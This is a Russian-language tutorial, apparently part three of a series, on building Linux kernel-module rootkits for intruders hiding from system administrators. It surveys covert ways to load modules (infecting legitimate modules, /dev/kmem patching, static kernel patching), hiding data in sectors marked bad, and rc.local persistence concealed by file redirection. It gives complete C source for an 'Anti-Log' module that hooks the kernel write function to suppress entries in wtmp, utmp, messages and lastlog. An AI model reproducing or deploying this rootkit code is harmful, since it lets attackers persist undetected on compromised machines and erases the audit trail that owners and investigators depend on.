Хай пиплы!
Эта статья посвящается классным girls: Юле,
двум Аням, Наташе и Тане 🙂
Если ты не читал первую
и вторую
части, рекомендую все-таки прочитать ее
перед тем как читать эту.
После публикации первой части ко мне пришли
письма с вопросами, поэтому я решил начать
эту часть с нескольких советов по поводу
часто встречающихся проблем:
Если немножко не совпадают версии ядра с
которым работаешь и для которого был
скомпилирован модуль и insmod module.o пишет что-то
типа:
kernel-module version mismatch
module.o was compiled for kernel version 2.4.20
while this kernel is version 2.4.20-9asp
просто передай insmod'у флаг -f вот так:
insmod module.o -f
(Force - сила/форсировать) тогда insmod
поругается, но модуль загрузит 🙂 Можно
также устроить разборку с include файлами или
скомпилировать мод без версии.
При загрузке прячущего модуля, который был
описан в примере, надо передавать только
имя модуля (так как оно пишется lsmod'ом), то
есть без расширения файла '.o'.
Примеры:
неправильно - # insmod hide.o hide=module.o
правильно - # insmod hide.o hide=module
Если пишет, что не видит функцию hide.o: unresolved
symbol strcmp, то в данном случае реализуй её
самостоятельно:
int strcmp(const char * cs,const char * ct)
{
register signed char __res;
while (1)
{
if ((__res = *cs - *ct++) != 0 || !*cs++)
break;
}
return __res;
}
Но лучше ее назвать как-нибудь по
другому, например mystrcmp или strequal. Не забудь
кинуть ее перед init_module или задефайнить
сначала.
Ну а теперь мы снова продолжаем путешествие
к ядру Linux'a 🙂
Самое главное - предохранятся! 😉
Предохраняются все - квэйкеры надевают
тонны армора и мегахэлфы, сисопы ставят
тучу фаэрволов, систем обнаружения
вторжений. Но самое страшное это honey-pot'ы
и honey-net'ы. Когда хакер нападает на honey-pot/net
он превращается из охотника в дичь, а узнает
об этом только от ОМОН'а, выбившего дверь...
🙁 Поэтому перед тем как дальше
рассказывать о кодинге LKM Rootkit'ов, я расскажу
как защитится хаксору от сисопа. Сначала
рассмотрим продвинутые методы обнаружения
модулей, а потом скрытия. Есть две основные
стратегии обнаружения чужих LKM'ов:
1. обнаружение попытки загрузить модуль
2. обнаружение модуля, когда он уже залит в
ядро
Для того, чтобы обнаружить попытку загрузки
модуля можно модифицировать insmod или само
ядро. В ядре есть 4 системных вызова (system calls)
для работы с модулями, вот они:
1. create_module
2. init_module
3. delete_module
4. query_module
Подробную информацию о них можешь
прочитать в соответствующих man pages. Если
перехватить эти системные вызовы, то можно
будет создать логгер чтобы видеть кто,
когда и что пытался загрузить в ядро, а
также запретить саму загрузку.
Что касается обнаружения модулей когда они
уже загружены, то читай статью в Phrack
#61 из раздела Linenoise. Хотя метод, конечно,
экстремальный... 🙂
Еще иногда ядро может быть скомпилировано
без поддержки LKM. Тогда insmod'ом мод загрузить
не возможно... теоретически... а практически...
- читай дальше 😉
Продвинутые методы загрузки модулей.
Полностью все методы описывать не буду,
сделаю лишь небольшой обзор и дам линки где
почитать подробнее. А ты по экспериментируй
с этими методами и выбери наиболее
подходящий тебе.
1. скрестить 2 модуля (нормальный из /lib/modules/...
и сам rootkit)
2. патчинг ядра в реальном времени (через
файлы-девайсы /dev/mem & /dev/kmem)
3. статический патчинг ядра
Скрещивание 2-х модулей чем-то напоминает
заражение программы вирусом, когда в
нормальную прогу добавляются
дополнительные команды. Для скрещивания
модулей есть известный скрипт lkminject.sh by truff http://projet7.tuxfamily.org/factory/releases/lkminject.sh.
Также truff написал статью по этой теме в Phrack #61.
Преимущества этого метода в том, что если
инфицировать нормальный, используемый
модуль, то в следующий раз при загрузке
компьютера ты сможешь забраться в ядро, и
большинство систем обнаружения вторжений
этого не заметят. Недостатки - зараженный
модуль могут обнаружить проги типа Tripwire. Но
это легко лечится - как перенаправлять
файлы рассказано в этой статье ниже.
Файлы /dev/mem и /dev/kmem это один из довольно
удобных способов прямого обращения к
оперативной памяти. Для полной инфы смотри
man'ы для mem и kmem. Уже существует достаточно
много док и прог по этой теме. Неплохую доку
написал Silvio Cesare в статье "Runtime kernel kmem patching"
в 1998 году. http://www.big.net.au/~silvio,
http://vx.netlux.org/lib/vsc07.html.
Статический патчинг ядра примерно тоже, что
и скрещивание 2-х модулей. Только
модифицируется файл, содержащий само ядро,
а не модуль. Обычно это /vmlinuz или /boot/vmlinuz. "Static
Kernel Patching" - хорошая дока, написанная jbtzhm'ом,
которая была опубликована в Phrack #60 http://www.phrack.org/show.php?p=60&a=8.
Продвинутые игры с VFS.
Вообще-то продвинутые хакеры стараются не
хранить файлов в файловой системе. Какие бы
супер-пупер методы скрытия файлов в
файловой системе они бы не придумали,
всегда можно загрузить другой комп и
присоединить к нему винт похаканой тачки. И
тогда, если там, в файловой системе, будут
какие-то файлы хаксора, то никакой LKM не
поможет, и все файлы будут как на ладони. Но
и в других случаях Rootkit не всегда сможет
защитить файлы хаксора (часто это может
происходить пре upgrade'е системы). Поэтому
продвинутые челы хранят свои файлы на диске,
но без учетной записи в файловой системе. То
есть данные на диске есть, но в файловой
системе информации о них нет. И только
хаксор знает их точное место нахождения на
диске. Чтоб эти данные не были перезаписаны,
сектора, в которых они находятся,
помечаются специальным маркером "bad sector".
И тогда система думает, что в этом самом
месте жесткий диск поврежден и не
использует эти сектора. Для доступа к таким
файлам-невидимкам применяются специальные
проги, но мы их сейчас рассматривать не
будем. Но даже если хранить свои данные вне
файловой системы иногда надо иметь
возможность перенаправлять и прятать файлы.
Например, если надо как-то загружать LKM Rootkit,
то можно добавить команду загрузки insmod в
какой-нибудь файл типа /etc/rc.d/rc.local и тогда
модуль будет автоматически загружаться при
загрузке компьютера. После чего, при
попытке чтения файла /etc/rc.d/rc.local, rootkit будет
выдавать сохраненную копию настоящего rc.local,
а не модифицированную, и сисоп не сможет
увидеть изменения 🙂
Рекомендую почитать RTFM доку /usr/src/linux/Documentation/fs/vfs.txt.
Для разминки мы рассмотрим такой простой
прикол, который я назвал Anti-Log. Наворот этого
метода заключается в том, что по
определенному сигналу (например пакет из
сети со специальным содержанием) запись
данных в лог файлы не совершается. Тогда ты
сможешь спокойно залогиниться в систему по
SSH/Telnet/FTP, но записи об этом в лог файлах не
будет, так что их не нужно будет чистить 🙂
Для этого просто перехватываем функцию write,
и если файл в который пытаются писать
программы является лог файлом, то мы просто
игнорируем это, не вызывая настоящую write.
/*
Anti-Log by Alekz Under (skleroz@pisem.net)
Messages don't go to log files when this module is loaded.
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
// include'ы для работы с
файловой системой
#include <linux/slab.h>
#include <linux/locks.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
struct file_operations * fop;
struct file_operations orig_fop;
struct nameidata nd;
unsigned long antilogs[] = { 55751, 54244, 54998, 64741, 0 };
/*
числа - это номера inode'ов
log-файлов (/var/log/wtmp, /var/run/utmp, /var/log/messages, /var/log/lastlog).
узнай их с помощью команды stat.
в твоей системе они будут другие и могут
периодически меняться!
о том как автоматически их узнавать
расскажу попозже.
0 в конце - обязательно!
*/
ssize_t wrap_write(struct file * a, const char * b, size_t c, loff_t * d)
{
int i;
for(i = 0; antilogs[i]; i++)
{
if(a->f_dentry->d_inode->i_ino == antilogs[i]) // если
этот файл есть лог - вернуться из функции
return c;
}
return orig_fop.write(a, b, c, d);
}
int init_module(void)
{
int error;
char path[] = "/etc/inittab";
if (path_init(path,0,&nd))
error = path_walk(path, &nd);
if (!error)
{
lock_kernel(); // анестезия
для ядра, чтобы оно не дёргалось во время
операции 🙂
fop = nd.dentry->d_inode->i_fop;
// ну а теперь самое
вкусное - перехват функции write
orig_fop.write = fop->write; // сохраняем
адрес настоящей функции write
fop->write = wrap_write; // меняем
указатель так, что теперь будет вызываться
wrap_write вместо write
unlock_kernel(); // теперь ядро
можно отпустить 🙂
} else { return -1; }
return 0;
}
void cleanup_module(void)
{
fop->write = orig_fop.write; // восстанавливаем
указатель на настоящую
write path_release(&nd);
}
Теперь посмотри список залогиненых юзеров
командой w или who, откомпилируй мод, загрузи
его и залогинься в систему еще раз. Снова
сделай w/who и сравни список юзеров с
предыдущим - он ни капельки не должен
отличатся 🙂
Ну а теперь самое интересное - редирект (перенаправление)
файлов.
Для этих целей мы перехватим функцию open и
заменим некоторые структуры, содержащие
инфу о настоящем файле на инфу об обманном
файле. В результате этого, когда будет
вызываться read или write для чтения или записи
в файл, настоящие read/write будут читать/писать
в обманный файл, а не в настоящий.